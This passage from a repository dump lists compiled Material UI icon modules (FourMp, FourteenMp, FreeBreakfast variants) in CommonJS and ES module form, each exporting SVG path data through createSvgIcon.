    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.5 14h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5zm6 4.5H15V17h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1h-3.5zM15 14h1.5v1.5H15z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.5 11.5H14V10h1V8.5h-1v-3h-1.5v3H11v-3H9.5V10h3z\"\n}, \"2\")], 'FourMpOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FourMpRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-6.5 14.75c0 .41-.34.75-.75.75s-.75-.34-.75-.75V14h-1v2.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V14h-1v3.75c0 .41-.34.75-.75.75S6 18.16 6 17.75V13.5c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1zm0-7V10h-2c-.55 0-1-.45-1-1V6.25c0-.41.34-.75.75-.75s.75.34.75.75V8.5h1.5V6.25c0-.41.34-.75.75-.75s.75.34.75.75V8.5h.25c.41 0 .75.34.75.75s-.34.75-.75.75H14v.75c0 .41-.34.75-.75.75s-.75-.34-.75-.75M18 16c0 .55-.45 1-1 1h-2v.75c0 .41-.34.75-.75.75s-.75-.34-.75-.75V13.5c0-.55.45-1 1-1H17c.55 0 1 .45 1 1z\"\n}, \"1\")], 'FourMpRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FourMpRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-6.5 14.75c0 .41-.34.75-.75.75s-.75-.34-.75-.75V14h-1v2.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V14h-1v3.75c0 .41-.34.75-.75.75S6 18.16 6 17.75V13.5c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1zm0-7V10h-2c-.55 0-1-.45-1-1V6.25c0-.41.34-.75.75-.75s.75.34.75.75V8.5h1.5V6.25c0-.41.34-.75.75-.75s.75.34.75.75V8.5h.25c.41 0 .75.34.75.75s-.34.75-.75.75H14v.75c0 .41-.34.75-.75.75s-.75-.34-.75-.75M18 16c0 .55-.45 1-1 1h-2v.75c0 .41-.34.75-.75.75s-.75-.34-.75-.75V13.5c0-.55.45-1 1-1H17c.55 0 1 .45 1 1z\"\n}, \"1\")], 'FourMpRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FourMpSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 3v18h18V3zm9.5 15.5H11V14h-1v3H8.5v-3h-1v4.5H6v-6h6.5zm-3-8.5V5.5H11v3h1.5v-3H14v3h1V10h-1v1.5h-1.5V10zm8.5 7h-3v1.5h-1.5v-6H18z\"\n}, \"1\")], 'FourMpSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FourMpSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 3v18h18V3zm9.5 15.5H11V14h-1v3H8.5v-3h-1v4.5H6v-6h6.5zm-3-8.5V5.5H11v3h1.5v-3H14v3h1V10h-1v1.5h-1.5V10zm8.5 7h-3v1.5h-1.5v-6H18z\"\n}, \"1\")], 'FourMpSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FourMpTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 19h14V5H5zm13-5.5V16c0 .55-.45 1-1 1h-2v1.5h-1.5v-6H17c.55 0 1 .45 1 1m-8.5-8H11v3h1.5v-3H14v3h1V10h-1v1.5h-1.5V10h-3zm-3.5 8c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1v5H11V14h-1v3H8.5v-3h-1v4.5H6z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.5 14h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5zm6 4.5H15V17h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1h-3.5zM15 14h1.5v1.5H15z\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.5 11.5H14V10h1V8.5h-1v-3h-1.5v3H11v-3H9.5V10h3z\"\n}, \"4\")], 'FourMpTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FourMpTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 19h14V5H5zm13-5.5V16c0 .55-.45 1-1 1h-2v1.5h-1.5v-6H17c.55 0 1 .45 1 1m-8.5-8H11v3h1.5v-3H14v3h1V10h-1v1.5h-1.5V10h-3zm-3.5 8c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1v5H11V14h-1v3H8.5v-3h-1v4.5H6z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.5 14h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5zm6 4.5H15V17h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1h-3.5zM15 14h1.5v1.5H15z\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"3\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.5 11.5H14V10h1V8.5h-1v-3h-1.5v3H11v-3H9.5V10h3z\"\n}, \"4\")], 'FourMpTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FourteenMp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7 15.5h-1.5V14h-1v3H8v-3H7v4.5H5.5v-5c0-.55.45-1 1-1H11c.55 0 1 .45 1 1zm3.5 0H14v-6h3.5c.55 0 1 .45 1 1V16c0 .55-.45 1-1 1h-2zM10 5.5v6H8.5V7H7V5.5zm7.5 4.5h-1v1.5H15V10h-3V5.5h1.5v3H15v-3h1.5v3h1zm-2 4H17v1.5h-1.5z\"\n}), 'FourteenMp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FourteenMp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7 15.5h-1.5V14h-1v3H8v-3H7v4.5H5.5v-5c0-.55.45-1 1-1H11c.55 0 1 .45 1 1zm3.5 0H14v-6h3.5c.55 0 1 .45 1 1V16c0 .55-.45 1-1 1h-2zM10 5.5v6H8.5V7H7V5.5zm7.5 4.5h-1v1.5H15V10h-3V5.5h1.5v3H15v-3h1.5v3h1zm-2 4H17v1.5h-1.5z\"\n}), 'FourteenMp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FourteenMpOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.5 14h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5zm6-1.5v6H15V17h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1zm3 3H15V14h1.5z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.5 11.5H10v-6H7V7h1.5zm6.5 0h1.5V10h1V8.5h-1v-3H15v3h-1.5v-3H12V10h3z\"\n}, \"2\")], 'FourteenMpOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FourteenMpOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.5 14h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5zm6-1.5v6H15V17h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1zm3 3H15V14h1.5z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.5 11.5H10v-6H7V7h1.5zm6.5 0h1.5V10h1V8.5h-1v-3H15v3h-1.5v-3H12V10h3z\"\n}, \"2\")], 'FourteenMpOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FourteenMpRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M7.75 5.5H9c.55 0 1 .45 1 1v4.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V7h-.75C7.34 7 7 6.66 7 6.25s.34-.75.75-.75m4.75 12.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V14h-1v2.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V14h-1v3.75c0 .41-.34.75-.75.75S6 18.16 6 17.75V13.5c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1zM12 9V6.25c0-.41.34-.75.75-.75s.75.34.75.75V8.5H15V6.25c0-.41.34-.75.75-.75s.75.34.75.75V8.5h.25c.41 0 .75.34.75.75s-.34.75-.75.75h-.25v.75c0 .41-.34.75-.75.75s-.75-.34-.75-.75V10h-2c-.55 0-1-.45-1-1m6 7c0 .55-.45 1-1 1h-2v.75c0 .41-.34.75-.75.75s-.75-.34-.75-.75V13.5c0-.55.45-1 1-1H17c.55 0 1 .45 1 1z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\"\n}, \"1\")], 'FourteenMpRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FourteenMpRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M7.75 5.5H9c.55 0 1 .45 1 1v4.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V7h-.75C7.34 7 7 6.66 7 6.25s.34-.75.75-.75m4.75 12.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V14h-1v2.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V14h-1v3.75c0 .41-.34.75-.75.75S6 18.16 6 17.75V13.5c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1zM12 9V6.25c0-.41.34-.75.75-.75s.75.34.75.75V8.5H15V6.25c0-.41.34-.75.75-.75s.75.34.75.75V8.5h.25c.41 0 .75.34.75.75s-.34.75-.75.75h-.25v.75c0 .41-.34.75-.75.75s-.75-.34-.75-.75V10h-2c-.55 0-1-.45-1-1m6 7c0 .55-.45 1-1 1h-2v.75c0 .41-.34.75-.75.75s-.75-.34-.75-.75V13.5c0-.55.45-1 1-1H17c.55 0 1 .45 1 1z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\"\n}, \"1\")], 'FourteenMpRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FourteenMpSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 3v18h18V3zm9 2.5h1.5v3H15v-3h1.5v3h1V10h-1v1.5H15V10h-3zm-5 0h3v6H8.5V7H7zm5.5 13H11V14h-1v3H8.5v-3h-1v4.5H6v-6h6.5zM18 17h-3v1.5h-1.5v-6H18z\"\n}, \"1\")], 'FourteenMpSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FourteenMpSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 3v18h18V3zm9 2.5h1.5v3H15v-3h1.5v3h1V10h-1v1.5H15V10h-3zm-5 0h3v6H8.5V7H7zm5.5 13H11V14h-1v3H8.5v-3h-1v4.5H6v-6h6.5zM18 17h-3v1.5h-1.5v-6H18z\"\n}, \"1\")], 'FourteenMpSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FourteenMpTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 19h14V5H5zm13-5.5V16c0 .55-.45 1-1 1h-2v1.5h-1.5v-6H17c.55 0 1 .45 1 1m-6-8h1.5v3H15v-3h1.5v3h1V10h-1v1.5H15V10h-3zm-5 0h3v6H8.5V7H7zm-1 8c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1v5H11V14h-1v3H8.5v-3h-1v4.5H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.5 14h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5zm6-1.5v6H15V17h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1zm3 3H15V14h1.5z\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.5 11.5H10v-6H7V7h1.5zm6.5 0h1.5V10h1V8.5h-1v-3H15v3h-1.5v-3H12V10h3z\"\n}, \"4\")], 'FourteenMpTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FourteenMpTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 19h14V5H5zm13-5.5V16c0 .55-.45 1-1 1h-2v1.5h-1.5v-6H17c.55 0 1 .45 1 1m-6-8h1.5v3H15v-3h1.5v3h1V10h-1v1.5H15V10h-3zm-5 0h3v6H8.5V7H7zm-1 8c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1v5H11V14h-1v3H8.5v-3h-1v4.5H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.5 14h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5zm6-1.5v6H15V17h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1zm3 3H15V14h1.5z\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"3\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.5 11.5H10v-6H7V7h1.5zm6.5 0h1.5V10h1V8.5h-1v-3H15v3h-1.5v-3H12V10h3z\"\n}, \"4\")], 'FourteenMpTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FreeBreakfast.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 3H4v10c0 2.21 1.79 4 4 4h6c2.21 0 4-1.79 4-4v-3h2c1.11 0 2-.9 2-2V5c0-1.11-.89-2-2-2m0 5h-2V5h2zM4 19h16v2H4z\"\n}), 'FreeBreakfast');"
  },
  {
    "path": "packages/mui-icons-material/lib/FreeBreakfast.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 3H4v10c0 2.21 1.79 4 4 4h6c2.21 0 4-1.79 4-4v-3h2c1.11 0 2-.9 2-2V5c0-1.11-.89-2-2-2m0 5h-2V5h2zM4 19h16v2H4z\"\n}), 'FreeBreakfast');"
  },
  {
    "path": "packages/mui-icons-material/lib/FreeBreakfastOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 19h16v2H4zM20 3H4v10c0 2.21 1.79 4 4 4h6c2.21 0 4-1.79 4-4v-3h2c1.11 0 2-.9 2-2V5c0-1.11-.89-2-2-2m-4 10c0 1.1-.9 2-2 2H8c-1.1 0-2-.9-2-2V5h10zm4-5h-2V5h2z\"\n}), 'FreeBreakfastOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FreeBreakfastOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 19h16v2H4zM20 3H4v10c0 2.21 1.79 4 4 4h6c2.21 0 4-1.79 4-4v-3h2c1.11 0 2-.9 2-2V5c0-1.11-.89-2-2-2m-4 10c0 1.1-.9 2-2 2H8c-1.1 0-2-.9-2-2V5h10zm4-5h-2V5h2z\"\n}), 'FreeBreakfastOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FreeBreakfastRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 3H6c-1.1 0-2 .9-2 2v8c0 2.21 1.79 4 4 4h6c2.21 0 4-1.79 4-4v-3h2c1.11 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 5h-2V5h2zM5 19h14c.55 0 1 .45 1 1s-.45 1-1 1H5c-.55 0-1-.45-1-1s.45-1 1-1\"\n}), 'FreeBreakfastRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FreeBreakfastRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 3H6c-1.1 0-2 .9-2 2v8c0 2.21 1.79 4 4 4h6c2.21 0 4-1.79 4-4v-3h2c1.11 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 5h-2V5h2zM5 19h14c.55 0 1 .45 1 1s-.45 1-1 1H5c-.55 0-1-.45-1-1s.45-1 1-1\"\n}), 'FreeBreakfastRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FreeBreakfastSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 3H4v14h14v-7h2c1.11 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 5h-2V5h2zM4 19h16v2H4z\"\n}), 'FreeBreakfastSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FreeBreakfastSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 3H4v14h14v-7h2c1.11 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 5h-2V5h2zM4 19h16v2H4z\"\n}), 'FreeBreakfastSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FreeBreakfastTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 13c0 1.1.9 2 2 2h6c1.1 0 2-.9 2-2V5H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 19h16v2H4zM20 3H4v10c0 2.21 1.79 4 4 4h6c2.21 0 4-1.79 4-4v-3h2c1.11 0 2-.9 2-2V5c0-1.11-.89-2-2-2m-4 10c0 1.1-.9 2-2 2H8c-1.1 0-2-.9-2-2V5h10zm4-5h-2V5h2z\"\n}, \"1\")], 'FreeBreakfastTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FreeBreakfastTwoTone.mjs",
